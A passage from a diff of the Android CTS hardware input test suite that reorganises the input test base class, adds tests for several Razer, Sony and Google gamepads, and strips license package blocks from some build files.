-                fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
-            }
+            return;
         }
+        for (int i = 0; i < events.size(); i++) {
+            final InputEvent event = events.get(i);
+            try {
+                if (event instanceof MotionEvent) {
+                    assertReceivedMotionEvent((MotionEvent) event);
+                    continue;
+                }
+                if (event instanceof KeyEvent) {
+                    assertReceivedKeyEvent((KeyEvent) event);
+                    continue;
+                }
+            } catch (AssertionError error) {
+                throw new AssertionError("Assertion on entry " + i + " failed.", error);
+            }
+            fail("Entry " + i + " is neither a KeyEvent nor a MotionEvent: " + event);
+        }
+        assertNoMoreEvents();
+    }
+
+    protected void testInputEvents(int resourceId) {
+        testInputDeviceEvents(resourceId);
         assertNoMoreEvents();
     }
 
     private InputEvent waitForEvent() {
         try {
-            return mEvents.poll(5, TimeUnit.SECONDS);
+            return mEvents.poll(1, TimeUnit.SECONDS);
         } catch (InterruptedException e) {
             failWithMessage("unexpectedly interrupted while waiting for InputEvent");
             return null;
         }
     }
 
+    // Ignore Motion event received during the 5 seconds timeout period. Return on the first Key
+    // event received.
     private KeyEvent waitForKey() {
-        InputEvent event = waitForEvent();
-        if (event instanceof KeyEvent) {
-            return (KeyEvent) event;
-        }
-        if (event instanceof MotionEvent) {
-            failWithMessage("Instead of a key event, received " + event);
+        for (int i = 0; i < 5; i++) {
+            InputEvent event = waitForEvent();
+            if (event instanceof KeyEvent) {
+                return (KeyEvent) event;
+            }
         }
         return null;
     }
 
+    // Ignore Key event received during the 5 seconds timeout period. Return on the first Motion
+    // event received.
     private MotionEvent waitForMotion() {
-        InputEvent event = waitForEvent();
-        if (event instanceof MotionEvent) {
-            return (MotionEvent) event;
-        }
-        if (event instanceof KeyEvent) {
-            failWithMessage("Instead of a motion event, received " + event);
+        for (int i = 0; i < 5; i++) {
+            InputEvent event = waitForEvent();
+            if (event instanceof MotionEvent) {
+                return (MotionEvent) event;
+            }
         }
         return null;
     }
@@ -337,6 +377,20 @@
         }
     }
 
+    protected void requestFocusSync() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mDecorView.setFocusable(true);
+            mDecorView.setFocusableInTouchMode(true);
+            mDecorView.requestFocus();
+        });
+        PollingCheck.waitFor(mDecorView::hasFocus);
+    }
+
+    protected void requestPointerCaptureSync() throws Throwable {
+        mDecorView.requestPointerCapture();
+        requestFocusSync();
+    }
+
     protected class PointerCaptureSession implements AutoCloseable {
         protected PointerCaptureSession() {
             requestPointerCaptureSync();
@@ -349,10 +403,12 @@
 
         private void requestPointerCaptureSync() {
             mInstrumentation.runOnMainSync(mDecorView::requestPointerCapture);
+            PollingCheck.waitFor(() -> mDecorView.hasPointerCapture());
         }
 
         private void releasePointerCaptureSync() {
             mInstrumentation.runOnMainSync(mDecorView::releasePointerCapture);
+            PollingCheck.waitFor(() -> !mDecorView.hasPointerCapture());
         }
     }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/InputUinputTestCase.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputUinputTestCase.java
new file mode 100644
index 0000000..ec4e384
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/InputUinputTestCase.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import com.android.cts.input.UinputDevice;
+import com.android.cts.input.UinputTestData;
+
+import java.util.List;
+
+public class InputUinputTestCase extends InputTestCase {
+    private static final String TAG = "InputUinputTestCase";
+    private UinputDevice mUinputDevice;
+
+    InputUinputTestCase(int registerResourceId) {
+        super(registerResourceId);
+    }
+
+    @Override
+    protected void setUpDevice(int id, int vendorId, int productId, int sources,
+            String registerCommand) {
+        mUinputDevice = new UinputDevice(mInstrumentation, id, vendorId, productId, sources,
+                registerCommand);
+    }
+
+    @Override
+    protected void tearDownDevice() {
+        if (mUinputDevice != null) {
+            mUinputDevice.close();
+        }
+    }
+
+    @Override
+    protected void testInputDeviceEvents(int resourceId) {
+        List<UinputTestData> tests = mParser.getUinputTestData(resourceId);
+
+        for (UinputTestData testData: tests) {
+            mCurrentTestCase = testData.name;
+
+            // Send all of the evdev Events
+            for (int i = 0; i < testData.evdevEvents.size(); i++) {
+                final String injections = testData.evdevEvents.get(i);
+                mUinputDevice.injectEvents(injections);
+            }
+            verifyEvents(testData.events);
+        }
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
index 5712ca7..d15b08a 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftDesignerKeyboardTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 
 import android.hardware.cts.R;
+import android.view.KeyEvent;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
@@ -28,7 +29,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class MicrosoftDesignerKeyboardTest extends InputTestCase {
+public class MicrosoftDesignerKeyboardTest extends InputHidTestCase {
 
     public MicrosoftDesignerKeyboardTest() {
         super(R.raw.microsoft_designer_keyboard_register);
@@ -51,4 +52,16 @@
     void assertSource(String testCase, int expectedSource, int actualSource) {
         assertEquals(testCase + " (source)", expectedSource & actualSource, actualSource);
     }
+
+    /**
+     * Microsoft Designer Keyboard has meta control keys of NUM_LOCK, CAPS_LOCK and SCROLL_LOCK.
+     * Do not verify the meta key states that have global state and initially to be on.
+     */
+    @Override
+    void assertMetaState(String testCase, int expectedMetaState, int actualMetaState) {
+        final int metaStates = KeyEvent.META_NUM_LOCK_ON | KeyEvent.META_CAPS_LOCK_ON
+                | KeyEvent.META_SCROLL_LOCK_ON;
+        actualMetaState &= ~metaStates;
+        assertEquals(testCase + " (meta state)", expectedMetaState , actualMetaState);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
index 50ac183..4e10b36 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftSculpttouchTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class MicrosoftSculpttouchTest extends InputTestCase {
+public class MicrosoftSculpttouchTest extends InputHidTestCase {
 
     public MicrosoftSculpttouchTest() {
         super(R.raw.microsoft_sculpttouch_register);
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
index 74e74ea..387ead3 100755
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXbox2020Test.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class MicrosoftXbox2020Test extends InputTestCase {
+public class MicrosoftXbox2020Test extends InputHidTestCase {
 
     // Exercises the Bluetooth behavior of the Xbox One S controller
     public MicrosoftXbox2020Test() {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
index ae4a30d..fab8b50 100755
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/MicrosoftXboxOneSTest.java
@@ -26,7 +26,7 @@
 

 @SmallTest

 @RunWith(AndroidJUnit4.class)

-public class MicrosoftXboxOneSTest extends InputTestCase {

+public class MicrosoftXboxOneSTest extends InputHidTestCase {

 

     // Exercises the Bluetooth behavior of the Xbox One S controller

     public MicrosoftXboxOneSTest() {

diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
index c826b59..28ce6dc 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/NintendoSwitchProTest.java
@@ -28,18 +28,18 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class NintendoSwitchProTest extends InputTestCase {
+public class NintendoSwitchProTest extends InputHidTestCase {
     public NintendoSwitchProTest() {
         super(R.raw.nintendo_switchpro_register);
     }
 
     @Before
-    public void setUp() {
+    public void setUp() throws Exception {
         super.setUp();
         /**
          * During probe, hid-nintendo sends commands to the joystick and waits for some of those
          * commands to execute. Somewhere in the middle of the commands, the driver will register
-         * an input device, which is the notification received by InputTestCase.
+         * an input device, which is the notification received by InputHidTestCase.
          * If a command is still being waited on while we start writing
          * events to uhid, all incoming events are dropped, because probe() still hasn't finished.
          * To ensure that hid-nintendo probe is done, add a delay here.
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerJunglecatBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerJunglecatBluetoothTest.java
new file mode 100644
index 0000000..5a9a8cd
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerJunglecatBluetoothTest.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RazerJunglecatBluetoothTest extends InputHidTestCase {
+
+    // Simulates the behavior of Razer Junglecat gamepad.
+    public RazerJunglecatBluetoothTest() {
+        super(R.raw.razer_junglecat_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.razer_junglecat_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.razer_junglecat_motioneventtests);
+    }
+
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerKishiTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerKishiTest.java
new file mode 100644
index 0000000..5a11d7f
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerKishiTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RazerKishiTest extends InputHidTestCase {
+
+    // Simulates the behavior of Razer Kishi gamepad.
+    public RazerKishiTest() {
+        super(R.raw.razer_kishi_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.razer_kishi_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.razer_kishi_motioneventtests);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerRaijuMobileBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerRaijuMobileBluetoothTest.java
new file mode 100644
index 0000000..210b368
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerRaijuMobileBluetoothTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
+import android.view.KeyEvent;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class RazerRaijuMobileBluetoothTest extends InputHidTestCase {
+
+    // Simulates the behavior of Razer Raiju Mobile gamepad.
+    public RazerRaijuMobileBluetoothTest() {
+        super(R.raw.razer_raiju_mobile_bluetooth_register);
+    }
+
+    @Test
+    public void testAllKeys() {
+        testInputEvents(R.raw.razer_raiju_mobile_bluetooth_keyeventtests);
+    }
+
+    @Test
+    public void testAllMotions() {
+        testInputEvents(R.raw.razer_raiju_mobile_bluetooth_motioneventtests);
+    }
+
+    /**
+     * Add BUTTON_MODE to the activity's unhandled keys list to allow the fallback
+     * of HOME. Do home button behavior check with wm utils.
+     */
+    @Test
+    public void testHomeKey() throws Exception {
+        mActivityRule.getActivity().addUnhandleKeyCode(KeyEvent.KEYCODE_BUTTON_MODE);
+        testInputEvents(R.raw.razer_raiju_mobile_bluetooth_homekey);
+
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
+}
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
index 2122085..030c030 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/RazerServalTest.java
@@ -17,6 +17,7 @@
 package android.hardware.input.cts.tests;
 
 import android.hardware.cts.R;
+import android.server.wm.WindowManagerStateHelper;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.MediumTest;
@@ -26,7 +27,7 @@
 
 @MediumTest
 @RunWith(AndroidJUnit4.class)
-public class RazerServalTest extends InputTestCase {
+public class RazerServalTest extends InputHidTestCase {
     public RazerServalTest() {
         super(R.raw.razer_serval_register);
     }
@@ -43,4 +44,18 @@
     public void testAllMotions() {
         testInputEvents(R.raw.razer_serval_motioneventtests);
     }
+
+    /**
+     * We cannot test the home key using "testAllKeys" because the home key does not go to the
+     * apps, and therefore cannot be received in InputCtsActivity.
+     * Instead, we rely on the home button behavior check using the wm utils.
+     */
+    @Test
+    public void testHomeKey() {
+        testInputEvents(R.raw.razer_serval_homekey);
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+
+        wmStateHelper.waitForHomeActivityVisible();
+        wmStateHelper.assertHomeActivityVisible(true);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
index e65fa7a..6f4762f 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock3UsbTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock3UsbTest extends InputTestCase {
+public class SonyDualshock3UsbTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock3 gamepad (model CECHZC2U)
     public SonyDualshock3UsbTest() {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
index ca36a68..36c41f2 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4BluetoothTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4BluetoothTest extends InputTestCase {
+public class SonyDualshock4BluetoothTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 gamepad (model CUH-ZCT1U)
     public SonyDualshock4BluetoothTest() {
@@ -42,4 +42,21 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock4_bluetooth_motioneventtests);
     }
+
+    @Test
+    public void testVibrator() {
+        testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
+    }
+
+    @Test
+    public void testBattery() {
+        testInputBatteryEvents(R.raw.sony_dualshock4_bluetooth_batteryeventtests);
+    }
+
+    @Test
+    public void testAllTouch() throws Throwable {
+        try (PointerCaptureSession session = new PointerCaptureSession()) {
+            testInputEvents(R.raw.sony_dualshock4_toucheventtests);
+        }
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
index c5f761f..5c83ab5 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProBluetoothTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4ProBluetoothTest extends InputTestCase {
+public class SonyDualshock4ProBluetoothTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 Pro gamepad (model CUH-ZCT2U)
     public SonyDualshock4ProBluetoothTest() {
@@ -42,4 +42,10 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock4_bluetooth_motioneventtests);
     }
+
+    @Test
+    public void testVibrator() {
+        testInputVibratorEvents(R.raw.sony_dualshock4_bluetooth_vibratortests);
+    }
+
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java
index 8e967ff..5dd82aa 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4ProUsbTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4ProUsbTest extends InputTestCase {
+public class SonyDualshock4ProUsbTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 Pro gamepad (model CUH-ZCT2U)
     public SonyDualshock4ProUsbTest() {
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
index 062dced..e0f8d99 100644
--- a/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/SonyDualshock4UsbTest.java
@@ -26,7 +26,7 @@
 
 @SmallTest
 @RunWith(AndroidJUnit4.class)
-public class SonyDualshock4UsbTest extends InputTestCase {
+public class SonyDualshock4UsbTest extends InputHidTestCase {
 
     // Simulates the behavior of PlayStation DualShock4 gamepad (model CUH-ZCT1U)
     public SonyDualshock4UsbTest() {
@@ -42,4 +42,14 @@
     public void testAllMotions() {
         testInputEvents(R.raw.sony_dualshock4_usb_motioneventtests);
     }
+
+    @Test
+    public void testBattery() {
+        testInputBatteryEvents(R.raw.sony_dualshock4_usb_batteryeventtests);
+    }
+
+    @Test
+    public void testVibrator() {
+        testInputVibratorEvents(R.raw.sony_dualshock4_usb_vibratortests);
+    }
 }
diff --git a/tests/tests/hardware/src/android/hardware/input/cts/tests/UsbVoiceCommandTest.java b/tests/tests/hardware/src/android/hardware/input/cts/tests/UsbVoiceCommandTest.java
new file mode 100644
index 0000000..889e415
--- /dev/null
+++ b/tests/tests/hardware/src/android/hardware/input/cts/tests/UsbVoiceCommandTest.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hardware.input.cts.tests;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assume.assumeFalse;
+
+import android.app.UiAutomation;
+import android.content.ComponentName;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.hardware.cts.R;
+import android.hardware.input.cts.InputAssistantActivity;
+import android.server.wm.WindowManagerStateHelper;
+import android.speech.RecognizerIntent;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.List;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class UsbVoiceCommandTest extends InputHidTestCase {
+    private static final String TAG = "UsbVoiceCommandTest";
+
+    private final UiDevice mUiDevice =
+            UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+    private final UiAutomation mUiAutomation =
+            InstrumentationRegistry.getInstrumentation().getUiAutomation();
+    private final PackageManager mPackageManager =
+            InstrumentationRegistry.getInstrumentation().getContext().getPackageManager();
+    private final Intent mVoiceIntent;
+    private final Intent mWebIntent;
+    private final List<String> mExcludedPackages = new ArrayList<String>();
+
+    // Simulates the behavior of Google Gamepad with Voice Command buttons.
+    public UsbVoiceCommandTest() {
+        super(R.raw.google_gamepad_usb_register);
+        mVoiceIntent = new Intent(RecognizerIntent.ACTION_VOICE_SEARCH_HANDS_FREE);
+        mVoiceIntent.putExtra(RecognizerIntent.EXTRA_SECURE, true);
+        mWebIntent = new Intent(RecognizerIntent.ACTION_WEB_SEARCH);
+    }
+
+    private void setPackageState(boolean enabled) throws Exception {
+        runWithShellPermissionIdentity(mUiAutomation, () -> {
+            for (int i = 0; i < mExcludedPackages.size(); i++) {
+                if (enabled) {
+                    mPackageManager.setApplicationEnabledSetting(
+                            mExcludedPackages.get(i),
+                            PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                            PackageManager.DONT_KILL_APP);
+                } else {
+                    mPackageManager.setApplicationEnabledSetting(
+                            mExcludedPackages.get(i),
+                            PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                            PackageManager.DONT_KILL_APP);
+                }
+            }
+        });
+    }
+
+    private void addExcludedPackages(Intent intent) {
+        final List<ResolveInfo> list = mPackageManager.queryIntentActivities(intent,
+                PackageManager.GET_ACTIVITIES | PackageManager.GET_META_DATA);
+
+        for (int i = 0; i < list.size(); i++) {
+            ResolveInfo info = list.get(i);
+            if (!info.activityInfo.packageName.equals(
+                    mActivityRule.getActivity().getPackageName())) {
+                mExcludedPackages.add(info.activityInfo.packageName);
+            }
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        // Exclude packages for voice intent
+        addExcludedPackages(mVoiceIntent);
+        // Exclude packages for web intent
+        addExcludedPackages(mWebIntent);
+        // Set packages state to be disabled.
+        setPackageState(false);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Enable the packages.
+        setPackageState(true);
+        mExcludedPackages.clear();
+        super.tearDown();
+    }
+
+    @Test
+    public void testMediaKeys() {
+        testInputEvents(R.raw.google_gamepad_keyevent_media_tests);
+    }
+
+    @Test
+    public void testVolumeKeys() {
+        // {@link PhoneWindowManager} in interceptKeyBeforeDispatching, on TVs platform,
+        // volume keys never go to the foreground app.
+        // Skip the key test for TV platform.
+        assumeFalse("TV platform doesn't send volume keys to app, test should be skipped",
+                mPackageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK));
+        testInputEvents(R.raw.google_gamepad_keyevent_volume_tests);
+    }
+
+    /**
+     * Assistant keyevent is not sent to apps, verify InputAssistantActivity launched and visible.
+     */
+    @Test
+    public void testVoiceAssistantKey() throws Exception {
+        /* Inject assistant key from hid device */
+        testInputEvents(R.raw.google_gamepad_assistkey);
+
+        WindowManagerStateHelper wmStateHelper = new WindowManagerStateHelper();
+
+        /* InputAssistantActivity should be visible */
+        final ComponentName inputAssistant =
+                new ComponentName(mActivityRule.getActivity().getPackageName(),
+                        InputAssistantActivity.class.getName());
+        wmStateHelper.waitForValidState(inputAssistant);
+        wmStateHelper.assertActivityDisplayed(inputAssistant);
+    }
+}
diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
index c5a5141..3899db8 100644
--- a/tests/tests/icu/Android.bp
+++ b/tests/tests/icu/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsIcuTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/icu/icu4c_testapp/Android.bp b/tests/tests/icu/icu4c_testapp/Android.bp
index 30fa910..e0a8825 100644
--- a/tests/tests/icu/icu4c_testapp/Android.bp
+++ b/tests/tests/icu/icu4c_testapp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsIcu4cTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/identity/Android.bp b/tests/tests/identity/Android.bp
index 01e9914..203f578 100644
--- a/tests/tests/identity/Android.bp
+++ b/tests/tests/identity/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsIdentityTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/instantapp/Android.bp b/tests/tests/instantapp/Android.bp
index 9f4da5b..62bc24f 100644
--- a/tests/tests/instantapp/Android.bp
+++ b/tests/tests/instantapp/Android.bp
@@ -14,10 +14,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsInstantAppTests",
     srcs: [ "src/**/*.kt" ],
diff --git a/tests/tests/jni/Android.bp b/tests/tests/jni/Android.bp
index ddb21ce..5895cf3 100644
--- a/tests/tests/jni/Android.bp
+++ b/tests/tests/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsJniTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/jni/libjnicommon/Android.bp b/tests/tests/jni/libjnicommon/Android.bp
index 3d22453..15756f6 100644
--- a/tests/tests/jni/libjnicommon/Android.bp
+++ b/tests/tests/jni/libjnicommon/Android.bp
@@ -16,10 +16,6 @@
 // This is the shared library included by the JNI test app.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libjnicommon",
     srcs: ["common.cpp"],
diff --git a/tests/tests/jni/libjnitest/Android.bp b/tests/tests/jni/libjnitest/Android.bp
index de15f35..d7206c4 100644
--- a/tests/tests/jni/libjnitest/Android.bp
+++ b/tests/tests/jni/libjnitest/Android.bp
@@ -16,10 +16,6 @@
 // This is the shared library included by the JNI test app.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libjnitest",
     srcs: [
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
